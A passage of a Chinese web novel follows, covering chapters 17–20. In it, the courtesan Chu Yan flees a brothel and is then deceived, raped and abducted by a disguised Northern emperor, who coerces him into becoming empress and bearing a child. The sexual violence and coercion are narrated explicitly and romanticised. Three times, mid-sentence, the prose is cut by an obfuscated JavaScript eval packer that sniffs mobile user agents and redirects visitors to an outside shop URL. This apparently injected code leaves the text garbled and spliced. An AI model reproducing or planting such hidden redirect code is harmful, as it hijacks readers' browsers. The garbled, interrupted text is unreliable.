“哟!还来脾气了?”带头那小厮说着,手伸过来,后面两个小厮制止他:“大哥!老板娘说了,我们不能随便碰他,你忘了之前的教训了?” 带头那小厮悻悻地收回手,指挥着身后两个小厮,“你们两个进去吧,伺候公子洗漱。” 楚晏表情淡淡:“不用了,送我去沐浴吧。” “哦?”带头的那小厮意味深长地看了楚晏一眼,“那公子请随我来。” 热气蒸腾的汤池中,坐着一位美人,美人长发如瀑般散落下来,浑身肌肤如凝脂白玉,身上点点红痕惹人怜惜。 美人长睫轻轻阖着,两个小厮在他的身体上涂涂抹抹,那些瘀痕便渐渐淡了。 不知过了多久,两个小厮扶着他出来,为他擦拭着身体。 这时,带头的那小厮向他走过来,手里拿着一个精致的小玉瓶,笑着道:“小人方才看到公子已经红肿,小人给您上些药吧。” 楚晏看出他笑容里的不怀好意,退了退:“不用了,我不需要。” 带头的那小厮对正在给楚晏擦拭身体的两个小厮使了个眼色,两个小厮一头一脚抬起楚晏,将他抬到旁边的软榻上,并迫使他头朝下。 这种姿势让楚晏心中充满了惊慌与不安,惊叫道:“你们要干什么?!” 带头的那小厮露出势在必得的笑意:“这可是老板娘吩咐的,您就不要反抗了。”说着,拿着瓶子向楚晏走过来。 40.第十七章 这时,忽然冲过来一个人影一记手刀砍过来,带头那小厮倒下,手里的小瓶子掉落下来,在地上滚了两圈,停住了。 楚晏看到来人,美丽的眼眸中划过惊喜之色。 楚晏身边的两个小厮惊叫:“什么人?!”那人迅速冲到楚晏身边,将他身边两个小厮也砍倒,看到楚晏浑身光g裸地爬在软榻上,一阵气血上涌。 楚晏脸上臊热不已,坐起来道:“我的衣服在那边的桌子上,帮我把我的衣裤拿过来吧。” 秦冲走过去拿了衣裤递给他,楚晏接过来穿着,问他:“你怎么进来的?” 秦冲道:“我不放心你,就悄悄跟过来了。本来在门口听着,听到里面你在喊,我就闯进来了。” “这个小人竟敢欺负你,我踹死他!”说着,走到带头那小厮跟前,抬脚就要踹。 “哎!你先别动!”楚晏制止他,环顾了一下四周,忽然有了一个大胆的想法,望着他问:“现在他们都昏迷着,我手脚的链子沐浴时他们给我解了,你之前说要带我逃出去的话还算数吗?” 秦冲眼睛一亮,不假思索道:“当然算数!只要你开口,我秦冲赴汤蹈火在所不辞!不过你长得太惹眼了,得换衣服。” 楚晏点头,两个人扒了两个小厮的衣服,迅速换上,楚晏拿了点化妆用的白粉抹在脸上,想着昨天那些人见过秦冲就,又走过去给秦冲也抹了点,嘱咐他道:“一会儿出去若是碰见人尽量你说话,我的声音他们太熟悉了,就算伪装也容易被人听出来。若是有人问我在哪,就说我还在房里睡着,问我们俩去哪,就说脸上抹了粉过敏了去医馆看病。” 秦冲点头:“成!那我见机行事。” 抹完粉之后,两个人低着头走出去。 一大早二楼此刻没什么人,两个人一路畅通,走到楼梯口的时候,老鸨挥着小手绢扭着腰走过来叫住他们:“哎哎!你们两个过来!” 两个人只好转回来,老鸨走过来问:“清晏公子还睡着呢?” 秦冲掐细了嗓子,回道:“嗯嗯,睡着呢!” 老鸨暧昧地笑笑:“昨晚累坏了吧,就让他多睡会儿吧!南陵王那个体格床上功夫也错不了!” “嗯嗯!是呢是呢!”秦冲掐着嗓子回了一句,底下愤怒地握紧双拳,妈的!昨晚他就应该闯进来带走楚晏,要是他早去军营,还能轮得到南陵王那个糟老头子! 老鸨觉得有些不对劲:“你们两个低着头干什么?抬起头来!” 两个人抬头,惨白惨白的两张抹了大片白粉的脸差点没把老鸨吓死:“哎哟我的妈呀!你们两个脸上抹这么厚的粉干什么?想吓死谁啊!还不快去给我洗了!” 秦冲点头:“您说的是!我俩就是脸上抹太多粉过敏了,现在又痒又疼正准备去医馆看看呢!” 老鸨仍是疑虑:“你们两个伺候人的,往脸上抹这么多粉干什么?” 秦冲苦着脸:“我们看清晏公子的初夜卖了一万两银子,我们也想学学他,把自己抹得好看点的勾引个财主啥的,没想到把脸抹过敏了……” 老鸨听笑了:“这世上还真有东施效颦的人呐!人家清晏公子可不是抹粉出来的,就他那张祸国殃民的脸,腿儿那么一挂,就算是那皇宫里的皇上也得给他摘星星摘月亮,只要他想,整个大越乃至整个天下都能被他颠覆咯!一万两,我还觉得少了呢,要我说啊,太师就应该听我的,把他送给那北蛮皇帝,那北蛮多有钱啊!没准儿北蛮皇帝一高兴,送我们几座城玩玩呢!” 没想到他们竟还打着这个主意,楚晏气得握紧双拳,宽厚温暖的大手从衣襟底下伸过来,安抚似的握了握他。 老鸨得意之余,摆摆手道:“跟你们说你们也不懂,行了行了,你俩赶紧去吧! 两人顿时松了口气,对视一眼,转身就走。 楚晏与她擦身而过的瞬间,老鸨忽然觉得这个身形有些熟悉,叫住他:“你!站住!” 楚晏身子一僵,转过身来。 老鸨道:“过来。” 楚晏低着头走过去,老鸨越看越觉得熟悉:“抬起头来。” 秦冲见楚晏这边情况不妙,脚下一滑,脑袋直直地撞上了柱子,头上顿时鲜血如注,咋咋呼呼地向老鸨跑过来:“哎哟!老板娘!我头撞破了!再不去医馆就要出人命了!” 眼前一张脸白的和红的混在一起,老鸨被吓得一愣一愣的,指着楚晏道:“你你你……你赶紧送他去医馆!” 楚晏忙扶着秦冲快步下了楼走出去,秦冲出去的时候,看见靠在墙角打瞌睡的小伙子,吼了一句:“阿昭!老子出来了!别睡了!” 阿昭迷迷糊糊睁开眼睛,看见两张扑了白粉的脸,其中一个还血呼啦的,吓得一个激灵:“我的妈呀鬼呀!” 秦冲骂:“鬼什么鬼!老子你也不认识了?” 阿昭揉了揉眼睛,依稀从那张混着白粉又血呼啦的脸上分辨出自家爷那双炯炯有神的大眼睛,“爷您咋成这样了?” “废话少说!你赶紧起来!他们很快就会发觉,咱们赶紧走!”说着,就着楚晏的搀扶抬步就往前走,阿昭懵懵懂懂地起来追上去,好奇地看着扶着秦冲的人:“这就是琼华楼的清晏公子啊,一万两银子一夜呢,你真给拐出来了啊?” 楚晏扶着秦冲的手颤了一下!这是他的耻辱,意味着他不再清白,不再干净…… 秦冲怒道:“他再也不是什么清晏公子了,以后叫他楚公子,再提什么一万两银子一夜我打断你的腿!还不快给楚公子道歉!” 阿昭赶紧认错:“楚公子我错了,我不该那么说您,您大人不记小人过原谅我吧!” 秦冲放轻语气对楚晏道:“这孩子叫阿昭,小时候收留的,跟了我十年了,说话没轻没重的,你别放在心上。” 楚晏摇头道:“没事,我没怪阿昭,你们不用这么紧张。” 秦冲安抚他:“以后你就跟着我,熟了就好了!” 跟着他……楚晏心里有一种奇妙又安定的感觉。 那边阿昭问:“爷,那我们还去参军吗?” 秦冲看了身边的楚晏一眼,笑道:“不去了!找个地方安顿下来,开个客栈做点小生意。” 阿昭撇撇嘴:“爷您说得倒轻巧,咱们身上一文钱都没有咋开客栈啊?” “瞧你那没出息的样!没钱不会想办法啊!”秦冲指了指自己胳膊,“我问你,这是什么?” 阿昭愣楞地答:“胳膊。” 秦冲一副恨铁不成钢的表情:“这是力气!是钱!” 阿昭瞬间明白了:“您还打算给人种地啊?那得种多少年啊?” “除了种地还能干别的啊!我这体格,去应聘个镖师,走几趟镖下来我们仨几个月吃住就不愁了!” “我也可以教人琴棋诗画。”楚晏被触动,开口,泉水一般叮咚好听。 秦冲不禁转头看他,那双美丽的眸子颤了颤,羞涩似的移开了。 秦冲心中偷笑着,咳了咳道:“我们俩这样太惹人注目了,得赶快找个地方把脸洗了,他们应该很快会追上来,好不容易带你出来,我可不能让他们把你抓回去。”说着,抓紧楚晏的手就跑。 怎么又把他扔下了!阿昭跺了跺脚,苦着脸追上去:“哎哎!爷你们等等我!” 秦冲猜得不错,两人出了客栈后,老鸨合计出不对味来,去楚晏的房间一看就是没人,叫了几个保镖满楼找,最终在专门为楚晏沐浴的池子里发现了三个昏迷的小厮,这才意识到人逃了,立马飞鸽传书给南陵王,南陵王得知人逃了之后,派遣兵力全城寻找楚晏。 仨人来到一条小河边,秦冲蹲下去刚要撩水洗脸,楚晏叫住他:“哎!你头上有伤,先别碰水!” 秦冲对他笑笑:“没事儿!我之前下地干农活受了伤就直接洗的,我皮糙肉厚的,洗洗就好了!” 说完,转头就要撩水,却听楚晏道:“等等!” 只见楚晏蹲下来,利落从自己的袍角撕下来一块布料,沾了水拧干,而后从怀里掏出一个小药瓶,“刚才抹粉的时候我拿了点创伤药,你把脸转过来,我给你抹一些,不然伤口容易感染。” 秦冲听话地把脸转过去。 楚晏细致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦冲把布条撕小遮住了楚晏的眼睛,剩下的部分还是完美无缺,白皙的额头,工笔画似的长眉,秀挺的鼻梁,嫩粉色的嘴唇,形状完美的下颌,阳光下的美人清透如玉,只是双眼被粗糙的布条遮住,叫人忍不住想要那双眼里该是怎样美丽的风景。 秦冲看着那嫩粉色的嘴唇,心里有些悸动,他吻过,知道这唇是怎样柔软、香甜、令人沉醉。 阿昭的声音打破了这种幻想,“爷您看什么呐!快走吧!我看好像有官兵朝这边过来了。” 秦冲一把攥住楚晏的手:“跟着我。” 半个城的官兵集体出动,挨家挨户排查,街上的百姓被这架势吓到了。 街上一书生问旁边的友人:“这是在抓谁啊?” 友人道:“听说是天下第一美人,琼华楼的清晏公子。” 书生恍然大悟:“清晏公子!他的初夜拍卖那天我还去了呢,那真是个天仙似的人物啊!只可惜被南陵王一万两银子一夜给买走了,我这辈子、下辈子、下下辈子、下下下辈子,也赚不到一万两啊,要是能抱一抱那美人,真是死也值了。” 书生说得一脸沉醉,友人点醒他:“他逃了!” 书生大惊:“逃了?南陵王那样的英雄,美人不愿意跟?”(秦冲:英雄?狗熊吧!) 友人摇头:“谁知道呢!听说还是跟人跑的。” 书生扼腕叹息:“谁这么有福气,能让美人心甘情愿跟他跑啊?” 友人摇头:“不知道啊!” “我还在想,要是叫我遇见美人,一定把他抱回家里好好疼爱一番。”书生一脸憧憬地说着。 友人笑他:“你就想美事去吧!赶紧回家读书吧,否则又要挨你爹打了!” 待两人走远,一个混子打扮的人从胡同口走出来,眯起一双极具侵略性的眼睛,玩味地勾了勾唇角:“天下第一美人?有意思。” 41.第十八章 三人东躲西藏,转了好几条街,好不容易远离了官兵,靠在墙边歇了歇,阿昭气喘吁吁地问:“爷,南陵王亲自看守城门,我们身上又没钱,怎么办?我们去哪儿?” 还没待秦冲回话,背后忽然传来一声大喝:“你们仨!站住!” 楚晏顿时绷直了身体,秦冲握住楚晏的手,安抚似的捏了捏。 “转过来!” 三人依言转过身去。 一队官兵向他们走过来,为首的手里拿着一卷画像,“叫什么名字?家住哪里?报上名来!” 秦冲开口道:“我叫秦冲,家住附近的塘关,带两个弟弟进城来玩。”说着,左手指了指阿昭,“我二弟秦昭。”右手指了指,“三弟秦……” 楚晏开口:“秦子卿。” 声音清冽如泉水般动听,为首的官兵听得心里一酥,“哟!小声音还挺好听的!” 再一看人,沉着脸问:“你眼睛上为什么遮块布?” 楚晏道:“我眼睛看不见,怕光。” “废话少说!眼睛上的布拿下来,我瞅瞅!” 为首的官兵吼了一句,将手里的画像展开,那画像栩栩如生,连眼睛上的睫毛都根根分明,一看就是去了琼华楼拍卖那夜的画师所画。 秦冲心头一紧,楚晏眼睛上的布一旦摘下来,绝对会暴露无遗。 楚晏见秦冲不动,便知道事情不妙。 为首的官兵不耐烦了:“磨磨唧唧干什么?还不快摘下来!” 这时,三五个人拉着车直愣愣地朝官兵撞过来,撞倒了几个官兵后扔下车就跑。 为首的官兵大怒:“这几个人有问题!追!”说完,带着一队官兵就追人去了。 秦冲不知道刚才那帮人目的是什么,暗自庆幸逃过一劫,刚要离开,迎面走过来一个混子打扮的人,那人身躯高大,皮肤呈古铜色,五官硬朗,那双眼睛极具侵略性,如同一匹黑夜里伺机而动的孤狼,有种同类的嗅觉,秦冲几乎是本能地警觉起来。 那人走到三人面前,视线轻轻在楚晏身上略过,友好地冲秦冲伸出手:“刚才那几个人是我派出去的,我叫阿三,认识一下。” 秦冲不动:“你为什么帮我们?” 阿三眯眼笑笑:“我见哥儿们你身强体壮,想跟你交个朋友,以后帮我收个账,一个月我给你五两银子,如何?” 五两银子!阿昭眼睛一亮,拽秦冲的袖子:“爷我们以后吃住就不愁了!” 秦冲抱拳:“多谢兄弟好意,不过我们不需要。”说完,拉着楚晏转身就走。 阿昭不明所以地追上去:“哎爷您怎么走了?那可是每月五两银子啊!” 秦冲压低声音道:“你懂什么?!这人来者不善,赶紧走!” 背后传来阿三的笑声:“如果我没猜错,兄弟旁边这位就是琼华楼的清晏公子吧,你说,如果我现在去跟官兵说清晏公子在这里,会是什么后果?” 秦冲脚步一顿,转过身来,警惕地看着阿三:“你想怎样?” 阿三唇角轻勾:“不想怎样,只是看兄弟你是个人才,想请你帮我收账而已。” 楚晏忽然开口:“公子用这样的方法招揽人,是不会有人真心为你卖命的。” 阿三目光移到楚晏身上来,饶有兴味地挑了挑眉:“那依清晏公子所见,我若想招揽你身边的这位兄弟,我应该怎么做呢?” 楚晏只说四个字:“以诚相待。” 阿三问:“那我要怎么做才算有诚意呢?我刚才已经帮了你们,又以五两银子一月聘请这位兄弟帮我收账,难道还不算有诚意么?” 楚晏一顿,道:“他不愿,你也不能强求。” 阿三目光灼灼,意有所指:“若我偏要强求呢?” 楚晏不禁想到萧弈强迫他的场景,他生平最痛恨强求这两个字,冷冷道:“那便得不到真心。” “话不能说得这么绝对,日久才能见人心,即使开始不是真心,我也愿意以真心相待,只要肯为我卖命,我也愿意以命相护!” 阿三眉眼坚定,掷地有声,秦冲忽生一种意趣相投之感:“就冲你这句话,我答应你了!” 楚晏心里很不安,不由伸手握住了秦冲的手,“你……”秦冲反手握了握,安抚他道:“有我在,别怕。” 阿三目光落在两人交握的双手上,唇角玩味地勾了勾。 阿三将三人带到一个小院里,指着对面一排排屋子给他们安排了相邻的三个屋子。 “屋子我已经叫人给你们收拾好了,你们今天先休息一晚,从明天开始,秦兄弟就跟着我那几个兄弟去收账,阿昭兄弟就留下来干些零活,清晏公子现在不方便出去,就留下来教我这几个兄弟读书写字吧。” 秦冲抱拳:“以后还请阿三兄弟多多关照!” 楚晏忽然开口:“以后不要叫我清晏公子了,我叫楚子卿。” 阿三点头,目光微暖:“好,子卿。” 顿了顿,又一脸希冀地看着他:“子卿,既然是兄弟了,能否将你眼睛上的布条摘下来?” 楚晏顿了顿,抬手摘下了眼睛上的布条,素枝挽起如瀑的长发,皮肤如羊脂玉一般白皙细腻,五官无一处不美,最美的是那双如湖泊般美丽澄净的眼睛,只要淡淡望你一眼,就算他要天上的星星,你也义无反顾地去给他摘下来。 一袭白衣立在那里,清清冷冷似画中仙。 阿三毫不掩饰眼中的惊艳:“子卿果然是天人之姿,倾国倾城。” 楚晏神色淡淡:“溢美之词不必再说,以后我便只是一名普通的教书先生。” 阿三点头:“我理解,子卿不必担心,我们大家都敬你,谁敢生出妄念,就给我滚出去!”阿三的话掷地有声,气势雄浑,像常年发号施令的人。 院子里的小弟们整齐划一地喊:“是!大哥!” 阿三喝道:“别对我说,对楚先生说!” 小弟们转向楚晏:“是!楚先生!” 楚晏端手揖礼:“多谢诸位。” 三人告别阿三,往房子那边走去,走到门口的时候,秦冲问楚晏:“你刚刚为啥说你叫子卿,你不是叫楚晏么?” 楚晏道:“子卿是我的字,大家都知道大越的丞相名叫楚晏,却很少有人知道我的字,我不想让人知道楚晏就是清晏公子。” 秦冲顿时明白了,对他一笑:“成!那以后我也叫你子卿。” 子卿……楚晏心头暖意划过,自从娘亲逝去后,就很少有人这样唤他了……微微点头说了声:“好。”推开门走进去。 第二日早上,秦冲便跟阿三的几个兄弟去收账,阿昭在院子里跟着留下的兄弟打杂,楚晏负责教阿三这些种地读书识字。 阿三这些兄弟虽然没识过字,但很虚心,对他很客气,让他又拾起了久违的被人尊重的感觉。 教了一上午,他有点累,吃了饭就躺在床上睡了。 迷迷糊糊间,他感觉有一双粗糙的大手在抚摸他的手背,他睁开眼,却什么也看不见,眼睛上被蒙上了一层布,他下意识地往回抽自己的手。 “别动。” 这声音低沉充满了磁性,是秦冲,楚晏顿时松了口气:“你回来了?” “嗯,回来了。” 楚晏觉得秦冲的声音比平时低了一些,顿了一下,又问他:“收账怎么样?” “很顺利,下午不去了。” 楚晏顿了顿,问:“为什么蒙我的眼睛?” “因为……” 他感觉到秦冲俯下身,浓烈的气息喷洒在他脖颈间,“我想要你。” 楚晏身子一颤,“你……在说什么?” 秦冲顿了顿,又重复了一遍:“子卿,我想要你。” 一双大手伸过来,将他抱起来坐到腿上,呼吸有些急促地问他:“可以吗?” 楚晏脑子很乱,几乎是下意识地,“……不行!” “为什么?” “我不喜欢这种事情……” “你会喜欢的,我会让你很舒服的。” “你不介意我被别人……” 那人眸子暗了一下,南陵王萧弈…… “没关系,从今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068011|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往后,你就只有我一个,再也不会让你被别人欺负。” 楚晏停住不说话了,他本能地抗拒这种事情,可是这个人是带他逃离苦海给他希望的人,他不知道应该拒绝还是…… 那人却没有耐心了,直接堵住了他的唇。 之后的一切都不受控制了,看到他的情形时,那人停了一下,“疼吗?” 他微微点了点头,他没有上药,走路时都会有痛感。 “我会轻一点的。”那人怜惜地吻吻他,而后再次覆了上来。 干渴了很久的人一旦尝到甜头,就停不下来了,他不止一次地恳求他停下来,但是那人跟疯魔了似的丝毫听不进去,最后他筋疲力竭地晕了过去。 楚晏再次醒来的时候,男人依旧抱着他在细细亲吻,但身下很颠簸,仿佛在一辆晃动的马车上,他觉得有些不对劲,“我们这是在哪里?”由于过于疲累,一开口,他的声音哑得厉害。 男人抚着他的脊背,声音低沉而温柔:“在马车上,我们出城了。” 楚晏觉得不可思议:“我们出城了?南陵王没有查出来我们吗?” 男人的声音变得暧昧:“我们这个样子,那些士兵掀开看了一眼就懂了,也没多看就放行了。” 他们两个到现在还……楚晏脸上一热:“你放开我吧。” 男人轻笑一声,搂紧了他:“我喜欢抱着你,最好一直抱着你。” “可是……” 男人像是知道他在想什么一样,贴近吮吻他的耳垂:“这里就我们两个人,没有人会看见……” “饿了吗?”男人拿来一块糕点递到他唇边。 他从昨天到现在都没有进食,胃里空空,现在嗅到食物的香气,一时间极度饥饿,张口就吃了进去。 男人笑着又拿来一块糕点喂他,就这样,直到楚晏觉得有了饱腹感,“对了,我们出城要去哪?” “去漠北。” 楚晏觉得奇怪:“去漠北干什么?” “我想带你看看漠北的风景,看满天黄沙,看最美的落日。” 楚晏不禁心生向往,忽然想起一事:“你跟阿三他们说我们走了吗?阿昭呢?他没有跟我们一起吗?” “阿昭在另一辆车上,我不想让他打扰我们,让他坐另一辆车先走了。” 楚晏点点头,忽然发觉眼睛上还蒙着布条,“我把它摘了吧。”说着,抬手想摘,手腕忽然被男人攥住:“别摘!” 楚晏不解:“为什么?” 男人低笑一声:“你看到我们如今的样子,不害羞吗?” 楚晏脸上一热:“那你放开我吧,我想穿衣服。” 男人的呼吸一重:“这里就我们两个人,别穿了,我还想要你……”说着,密密麻麻的吻落下来。 连着几天,男人一直抱着他,不让他摘眼睛上的布条,除了如厕,片刻都不肯离开他,楚晏开始不安起来。 这日,楚晏提前醒来,轻声问:“你醒了吗?”等了一会儿没得到回复,抬起手刚放到眼睛上的布条上,手腕就被握住。 他有些恼怒:“你为什么不让我摘下来?” “因为想让你睁眼就看到最美的大漠。” 楚晏怔了怔,那人亲吻他的面颊,低声软语地哄他:“别生气,好么?” 他的心忽然安定了些许,“我很不安。” “有我陪着你。” 听到这句,楚晏的心彻底安定下来。 接下来的日子,两人一直在马车上,男人除了喂食,就抱着他讲大漠。 他不禁问:“你不是塘关人么?为什么对大漠这么熟悉?” 男人顿了顿,道:“我小时候曾经在大漠待过一段日子。” 楚晏点头,忽然问:“你知道梦境相通的事情么?” 男人一顿,“为什么忽然问这个?” 楚晏轻飘飘道:“随便问问,你知道么?” “知道怎样?不知道又怎样?”男人的手肆意滑动着。 楚晏忽然感到一股渗入骨髓的凉意:“你不是秦冲,你是谁?” 42.第十九章 男人手一顿,“我不是秦冲能是谁呢?” 楚晏迅速抬手扯掉眼睛上的布条,对上一双极具侵略性的眼睛,他一惊:“阿三?” 阿三见自己已经暴露,笑了笑,大方承认:“是我。” 楚晏勉力使自己冷静下来:“你为什么会有秦冲的声音?” 阿三道:“在我们北蛮有一种秘药,喝了可以改变人的声音。” 楚晏惊觉:“你们北蛮?你是北蛮人?” “没错,我是北蛮人,我要带你回北蛮。”阿三说着,温柔地抚着他的头发。 楚晏偏头躲避:“你滚!别碰我!” 阿三顿时露出一副受伤的表情:“子卿,我们都亲密了这么多天,你这样让我好伤心呐……” “那是你骗我!你放开我!”楚晏听到这里,顿时失控,开始剧烈地挣扎起来,他的意识有些崩溃,他一直以为是秦冲,不是秦冲……不是秦冲……那他这么多天…… 阿三按住他,嘴唇贴近他的脸颊:“怎么?我不是秦冲,而是混混阿三,你伤心了?” 楚晏觉得恶心,失控地大吼:“你滚!不要碰我!你滚!滚!” 阿三压住他,沉冷道:“你再不愿,如今也是我的人了,我带你回北蛮,今生今世,你都不会再有别的男人,至于秦冲,你这辈子都不会再见到他了!” 那双美丽的眼睛朦胧上了湿润的水汽,秦冲,我错了,我把别人当成了你…… 秦冲你在哪?救救我…… 阿三发泄完,调整好姿势,将人抱在腿上,撩开帘子接过命人买好的粥和菜,舀了一勺粥吹了吹递到楚晏唇边:“子卿,吃饭了。” “我不吃,你滚!”楚晏一把推开,勺子里的粥洒到了地上,阿三好脾气地又舀了一勺粥吹了吹递过去,温柔地哄他:“你累了这么长时间一定饿了,不吃饭身体会受不了的。” 楚晏冷冷道:“你若还有点良知,就放了我。” 阿三将勺子搁在碗里,轻描淡写地道:“放了你?你长成这样又不会武功,我现在把你放下去,街上那些小混混一看见你,就会像饿狼扑食一样向你扑来……” 察觉到楚晏身子一颤,他满意地勾起唇角:“你说,是跟着我一个人好呢?还是跟着一群人好呢?” 楚晏狠狠剜他一眼:“不是所有人都像你这么龌龊!” 拓拔烈把碗放在一旁的矮几上,勾起楚晏的下巴,盯着那双美丽的眼睛,目光沉醉又痴迷:“琼华楼的清晏公子,天下第一美人,身体是绝世仅有的名器,叫我流连忘返,欲罢不能……”说着,就要吻下来。 楚晏狠狠甩了他一巴掌:“滚!” 阿三再压制不住怒火,捏住他的下巴,狠狠道:“都被我玩烂了,你现在这样做给谁看呢?我告诉你,你爱吃不吃!你死了我就寄一封信给秦冲,说你是被我给玩死的!” 那话如同一根最锋利的钢针,狠狠扎在他早已脆弱不堪的心上,楚晏气得浑身发抖:“你混账!” 那双美丽的眼睛氤氲上了水汽,泪珠顺着那羊脂玉一般的面颊滑落。 阿三怜惜地吻上去,一点一点吻去他的泪水:“别哭,等到了北蛮,我带你看大漠,看落日……” 不不不……楚晏无助地摇着头,他想回大越……想见秦冲…… 秦冲……仿佛绝望中看到了一丝光亮,只要他活着,是不是就有机会再见到秦冲? 他避开阿三的亲吻,轻轻说:“粥拿过来。” 阿三心中一喜,将矮几上的粥拿起来,楚晏冷淡道:“给我,我自己吃。” 阿三把碗递给他,笑着看他:“菜在桌上,想吃我可以喂你。” “不用,我自己会夹。”楚晏冷冷说了一句,低头喝着粥。 待楚晏吃完,阿三把空碗接过来,收拾了空盘子装到饭盒里递给外面的小弟们。 楚晏的表情还是冷冷的,阿三想到他乖乖吃了饭,便心生喜悦,忍不住吻了一下他的嘴唇:“子卿,我的美人儿,等到了北蛮,我要给你一个惊喜。” 楚晏不予理会,他要好好活着,车上阿三一直看着他,等到了北蛮他就伺机逃跑,回去找秦冲。 就这样过了几个月,直到这日,楚晏迷迷糊糊间,发觉阿三不知何时已经离开了他的身体,正欣喜着,忽然感到阿三轻吻了一下他的面颊,对他说:“子卿,我们到了。” 到了?楚晏心中一喜,睁开眼睛,看见阿三头发整齐地束起,身上穿着一身质地金贵的黑色袍服,上面绣着张牙舞爪的金龙,眼神幽深地看着他,身上的气质仿佛换了一个人。 楚晏不禁心头一跳,阿三……到底是什么人? 阿三拿过矮几上的衣裤,笑着对他道:“我知道你心里有很多疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081237|147758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,别急,来,我先帮你把衣服穿上。” 楚晏道:“我自己穿。” 阿三也不坚持,把衣裤递给他。 等他穿好衣服,阿三取来白色面纱给他戴上,“北蛮的黄沙太大,你长得太好,我也怕别人看见你。” 楚晏心中疑虑重重,没有说话。 阿三牵着他走下马车,满天黄沙中,数百名身穿官服的人站在宫殿前,看见两人走下来,俯身下拜:“恭迎陛下。” 陛下?楚晏一惊,对上拓拔烈转头望过来的眼睛,那双眼睛幽深又危险,令人捉摸不透,那是一双长居高位者的眼睛。 男人沉着开口:“子卿,寡人是北蛮的皇帝,拓拔烈。” “寡人说过要给你一个惊喜。”拓拔烈说着,执了楚晏的手转过身面向百官,“寡人此次去大越,带回了我们北蛮的皇后,从今往后,待他如待寡人。” 而后转头看他,幽深的眼神充满了诚挚,“子卿,从今往后,你就是北蛮的皇后,北蛮的一切都是你的。” “皇后?不不!我不做皇后!”楚晏惊得后退了一步,拓拔烈及时揽住了他的腰身,贴在他耳边威胁:“你不做皇后,寡人就派人杀了秦冲!” 楚晏浑身一颤:“你!” 这时,一名老臣站出来,“陛下,老臣看皇后的身形似乎是个男子?” 拓拔烈点头:“没错,皇后是男子。” 此话一出,众臣大惊:“男子?男子怎么能做皇后呢?” 拓拔烈挑了挑眉,道:“男子又如何?寡人记得,北蛮有一种秘术,可使男子受孕,众卿无需担心子嗣的问题。” 楚晏大惊,在他怀里挣扎起来:“受孕?不!我不要受孕!” 先前站出来那名老臣劝道:“这……不成体统啊!陛下三思啊!” 众臣跟着道:“陛下三思!” “寡人无需三思,谁人若有异议,拖出去斩!”说完,一把将楚晏打横抱起,“皇后身体抱恙,寡人先带他回去了,众卿退下吧!” “陛下!” 拓拔烈不顾众臣劝阻,抱着楚晏走进了宫殿。 “你放开我!放开我!我不要受孕!” 拓拔烈将不断挣扎的楚晏放在内殿的龙床上,压住他,盯着他的眼睛道:“寡人知道你想回大越,给寡人生个男孩,寡人就放你回去,如何?” 43.第二十章 男人生子,这是多么耻辱的一件事,但是,拓拔烈说只要他生男孩,就放他回去……“如果我生的是女孩呢?” 拓拔烈道:“这个你不必担心,我们北蛮的秘术,可以只生男孩。” 楚晏陷入了沉默,如果不答应拓拔烈,靠他自己可以逃回去吗?北蛮地形他不熟,更没有认识的人,要逃回去,难上加难。 拓拔烈一直在关注他的神情,“考虑得如何?你若是不答应,寡人不会放你回去。” 楚晏闭上眼睛,只要能回去见秦冲……“好,我答应你。” “子卿,寡人好欢喜。”拓拔烈开心地吻了一下楚晏的嘴唇,当即抱着他来了一次。 美人眼角泛红,意识恍惚时,不由自主地唤了一声“秦冲”,拓拔烈当即扳过他的下巴,沉声问:“你叫我什么?你好好看看,在你面前的是谁?” 美人眨了眨长睫,透过朦胧的雾气看清面前的人时,一时间心如死灰,秦冲从来没有抱过他,是他认错了…… 见他不答,拓拔烈眼神愈发深沉:“寡人身为北蛮的皇帝,难道还不如一个普通的大越百姓?” 楚晏闭着眼睛,轻轻道:“在我心里,你连他的一个手指头都不如!” 拓拔烈盯着他,忽然笑了,缓缓压低身体,在他耳边不无恶意地道:“寡人再不如他,你也要给寡人生孩子……” 满意地看到楚晏身子一颤,悠然道:“知道寡人为什么去你们大越么?” 楚晏睁开眼眸,对上拓拔烈那双极具侵略性的眼睛,北蛮的皇帝潜伏在大越,莫非是想趁机探听大越的机密,然后将大越收入囊中? 拓拔烈仿佛知道他在想什么,笑了笑:“两年前,寡人来大越朝贺,楚相风华冠绝天下,寡人对你一见倾心,便派人一直关注你,直到你被卖到琼华楼,寡人便知道机会来了,亲自来大越接你。” 那双极具侵略性的眼睛不无深情地看着他:“寡人去大越,只是为了你。” 楚晏冷笑:“北蛮的皇帝陛下为了我,真是煞费苦心啊!” “去这一趟,得到一个倾国倾城的美人,值了。”拓拔烈说着,轻轻挑起他的发丝,放在唇边轻吻。 近日,北蛮皇帝做了一个惊人的举动,宣布要与新封的皇后造小太子,从此罢朝,将重要事务交给丞相处理。 